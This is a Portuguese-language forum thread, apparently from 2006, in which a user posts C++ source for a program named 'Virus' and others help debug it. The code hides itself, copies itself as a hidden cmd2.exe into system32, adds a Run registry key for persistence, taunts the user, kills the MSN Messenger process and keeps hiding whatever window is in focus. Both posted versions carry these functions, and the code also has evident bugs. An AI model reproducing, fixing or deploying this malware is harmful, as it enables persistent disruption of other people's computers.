Problemas com meu src

Started by Anonymous, 15 de July , 2006, 04:08:10 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Estou com problemas no meu codigo, quando executo no modo debug naum da erro ja quando executo normamente da um erro.

Main.cpp:
#include "Defines.h"

int main(int arg, char **cmd)
{
Init(cmd[0]);
GetInfo();
GetProcessName();
EscondeWindow();
return 0;
}

Defines.h:
#ifndef _DEFINES_H__
#define _DEFINES_H__

#include <windows.h>
#include <winbase.h>
#include <winsock.h>
#include <winuser.h>
#include <process.h>
#include <winreg.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>
#include <stdio.h>

#include <tlhelp32.h>

using namespace std;

//Defines
#define PRO_NOME "Virus"
#define SW_SHOW  5
#define TEMPO    10*1000

//Funcoes
void Init(char *loc);//Faz com que o programa suma
char *GetInfo(void);//Pega as informaçoes
bool DelPro(char *NomePro);//Deleta alguns processos
void GetProcessName(void);//Pega o Nome dos processos
void EscondeWindow(void);//Esconde a janela q estiver em foco
unsigned int __stdcall Esconde(void *pt);//Tread para esconder a janela

#endif

Funcoes.cpp:
#include "Defines.h"

HWND wp = 0;

void Init(char *loc)
{
//Faz ele sumir
SetConsoleTitle("Virus-Key");
HWND vk = FindWindow(NULL, "Virus-Key");
ShowWindow(vk, SW_HIDE);

char *local = new char;
HKEY chave;
RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &chave);

//Muda ele de local e garante a auto execução
if( fopen("c:\\windows\\system23\\cmd2.exe", "r") == NULL )
{
        if( CopyFile(loc, "c:\\windows\\system32\\cmd2.exe", 0) == TRUE )
{
SetFileAttributesA("c:\\windows\\system32\\cmd2.exe", FILE_ATTRIBUTE_HIDDEN);
RegSetValueEx(chave, "CMD", 0, 1, (LPBYTE)"c:\\windows\\system32\\cmd2.exe", 28);
}
}
RegCloseKey(chave);

SYSTEMTIME st;
GetSystemTime(&st);
char *info = new char;
sprintf( info, "Voce foi infectado no dia %d/%d/%d as %d:%d:%d",
st.wDay, st.wMonth, st.wYear, //Dia/Mes/Ano
st.wHour, st.wMinute, st.wSecond );//Horas/Minutos/Segundo
HKEY chave2;
RegCreateKey(HKEY_CURRENT_USER, "Virus-Key", &chave2);
RegSetValueEx(chave2, "DATA", 0, 1, (LPBYTE)info, (DWORD)strlen(info));
RegCloseKey(chave2);
}

void Cura(void)
{
DeleteFile("c:\\windows\\system32\\cmd2.exe");
}

char *GetInfo(void)
{
char inf[256];
char var[256];
char nome[255];
DWORD size=255;

GetUserName(nome, &size);//Pega o nome do usuario
sprintf(inf, "User: %s\n", nome);//Escreve na variavel

sprintf(var, "%s seu manipulador de sistema!!", nome);//Assusta o usuario
MessageBox(0, var, PRO_NOME, MB_OK);

return inf;
}

bool DelPro(char *NomePro)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);

bool loop = true;
while( loop == true )
{
loop = Process32Next(hp, p);

if( strcmp(p->szExeFile, NomePro) == 0 )
{
WORD id = p->th32ProcessID;
HANDLE pro = OpenProcess(PROCESS_ALL_ACCESS, true, id);
TerminateProcess(pro, 0);
CloseHandle(pro);
CloseHandle(hp);
delete p;
loop = false;
return true;
}
}
return false;
}

void GetProcessName(void)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);

char **nPro;
int n = 0;

while( Process32Next(hp, p) == true )
{
if( strcmp(p->szExeFile, "msnmsgr.exe") == 0 ) 
{
DelPro(p->szExeFile);
}
}
}

void EscondeWindow(void)
{
HANDLE hT[100];
UINT id[100];
int n = 0;
bool l = true;
while( l )
{
wp = GetForegroundWindow();
if( wp != 0 )
{
hT[n] = (HANDLE)_beginthreadex(NULL, 0, Esconde, NULL, 0, &id[n]);
n++;
}
Sleep(1);
}
for( int v = 0; v < n+1; v++ )
{
TerminateThread(hT[v], 0 );
}
exit(-1);
}

unsigned int __stdcall Esconde(void *pt)
{
HWND w = wp;
ShowWindow(w, SW_HIDE);
Sleep(TEMPO);
ShowWindow(w, SW_SHOW);
return -1;
}

Eu acho que as threads não estao sincronizadas

Anonymous

Look blacklord vc tem q colocar na opção do projeto MULTI THREAD se nao num Funfa

veja só..

faz assim..

se tiver usando VC++ 2003 acho q ta..

entao corre na chave..  Clica no nome do projeto com o botao direito vai em
Properties / C/C++ / Code Generation / Run Time Library / Troca agora para.. Multi Thread Debug se estiver em opções debug e muda tbm no release pra Multi Thread então fica..

MT/d = Debug
MT    = Relase

Flw.. acho que resolve..

Anonymous

Valeu.......mas dispensei a thread daki a pouco eu posto de volta

Anonymous

Vamos ao code entao

Main.cpp
#include "Defines.h"

int main(int arg, char **cmd)
{
Init(cmd[0]);
GetInfo();
GetProcessName();
EscondeWindow();
return 0;
}

Defines.h:
#ifndef _DEFINES_H__
#define _DEFINES_H__

#include <windows.h>
#include <winbase.h>
#include <winsock.h>
#include <winuser.h>
#include <process.h>
#include <winreg.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>
#include <stdio.h>

#include <tlhelp32.h>

using namespace std;

//Defines
#define PRO_NOME "Virus"
#define SW_SHOW  5
#define TEMPO    10*1000
#define MAX      500

struct WND
{
HWND hWND;
int TimeFim;
bool Use;
};

//Funcoes
void Init(char *loc);//Faz com que o programa suma
char *GetInfo(void);//Pega as informaçoes
bool DelPro(char *NomePro);//Deleta alguns processos
void GetProcessName(void);//Pega o Nome dos processos
void ZeroWND(void);//Zera a struct WND
int FindWND(void);//Busca uma WND livre
void ClearWND(int n);//Limpa uma certa WND
WND NewWND(HWND wh);//Cria uma nova WND
int FindFIM(void);//Verifica se alguma janela ja pode aparecer de volta
void EscondeWindow(void);//Esconde a janela q estiver em foco

#endif

Funcoes.cpp:
#include "Defines.h"

WND wnd[MAX];
HWND hUse[MAX];

void Init(char *loc)
{
//Faz ele sumir
SetConsoleTitle("Virus-Key");
HWND vk = FindWindow(NULL, "Virus-Key");
ShowWindow(vk, SW_HIDE);

char *local = new char;
HKEY chave;
RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &chave);

//Muda ele de local e garante a auto execução
if( fopen("c:\\windows\\system23\\cmd2.exe", "r") == NULL )
{
        if( CopyFile(loc, "c:\\windows\\system32\\cmd2.exe", 0) == TRUE )
{
SetFileAttributesA("c:\\windows\\system32\\cmd2.exe", FILE_ATTRIBUTE_HIDDEN);
RegSetValueEx(chave, "CMD", 0, 1, (LPBYTE)"c:\\windows\\system32\\cmd2.exe", 28);
}
}
RegCloseKey(chave);
}

void Cura(void)
{
DeleteFile("c:\\windows\\system32\\cmd2.exe");
}

char *GetInfo(void)
{
char inf[256];
char var[256];
char nome[255];
DWORD size=255;

GetUserName(nome, &size);//Pega o nome do usuario
sprintf(inf, "User: %s\n", nome);//Escreve na variavel

sprintf(var, "%s seu manipulador de sistema!!", nome);//Assusta o usuario
MessageBox(0, var, PRO_NOME, MB_OK);

return inf;
}

bool DelPro(char *NomePro)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);

bool loop = true;
while( loop == true )
{
loop = Process32Next(hp, p);

if( strcmp(p->szExeFile, NomePro) == 0 )
{
WORD id = p->th32ProcessID;
HANDLE pro = OpenProcess(PROCESS_ALL_ACCESS, true, id);
TerminateProcess(pro, 0);
CloseHandle(pro);
CloseHandle(hp);
delete p;
loop = false;
return true;
}
}
return false;
}

void GetProcessName(void)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);

while( Process32Next(hp, p) == true )
{
if( strcmp(p->szExeFile, "msnmsgr.exe") == 0 ) 
{
DelPro(p->szExeFile);
}
}
}

void ZeroWND(void)
{
for( int v = 0; v < MAX+1; v++ )
{
wnd[v].hWND    = 0;
wnd[v].TimeFim = 0;
wnd[v].Use     = false;
}
}

int FindWND(void)
{
for( int v = 0; v < MAX+1; v++ )
{
if( wnd[v].Use == false )
{
return v;
}
}
return -1;
}

void ClearWND(int n)
{
char Title[256], MSG[256];
GetWindowText(wnd[n].hWND, Title, 256);
if( Title[0] != IDYES )
{
        sprintf(MSG+1, "Oi eu sou uma janela, meu nome é: %s", Title);
MSG[0] = IDYES;
SetWindowText(wnd[n].hWND, MSG+1);
}
delete[] Title;
delete[] MSG;

ShowWindow(wnd[n].hWND, SW_SHOW);

wnd[n].hWND    = 0;
wnd[n].TimeFim = 0;
wnd[n].Use     = false;
}

WND CreateWND(HWND hw)
{
SYSTEMTIME st;
GetSystemTime(&st);

WND w;
if( st.wMinute == 68 )
{
w.TimeFim = 0;
}
else if( st.wMinute == 69 )
{
w.TimeFim = 1;
}
else
{
w.TimeFim = st.wMinute+2;
}
w.hWND = hw;
w.Use  = true;

ShowWindow(w.hWND, SW_HIDE);

return w;
}

int FindFIM(void)
{
SYSTEMTIME st;
GetSystemTime(&st);
for( int v = 0; v < MAX+1; v++ )
{
if( wnd[v].TimeFim == st.wMinute && wnd[v].Use == true )
{
return v;
}
}
return -1;
}

void EscondeWindow(void)
{
HWND wp = 0;
HWND ws = 0;
bool l = true;
int n  = 0;
int ft = -1;

ZeroWND();

while( l == true )
{
wp = GetForegroundWindow();
if( wp != 0 && wp != ws )
{
ws = wp;
wnd[n] = CreateWND(wp);
n++;
}
ft = FindFIM();
if( ft != -1 )
{
ClearWND(ft);
ft = -1;
}
Sleep( 20 );
}
ZeroWND();
}

Observação:
Pra faze esse codigo, eu usei tecnicas postadas aqui mesmo no darkers, por isso meu principal agradecimento
é para o pessoal daqui e espero que seja util para vocês.

Anonymous

Black Lord incrementei seu algoritmo e otimizei o código blz?
dps me procura no msn q eu já estou com ele pronto ^^

Flw.. e funfando perfeito..

Ate mais..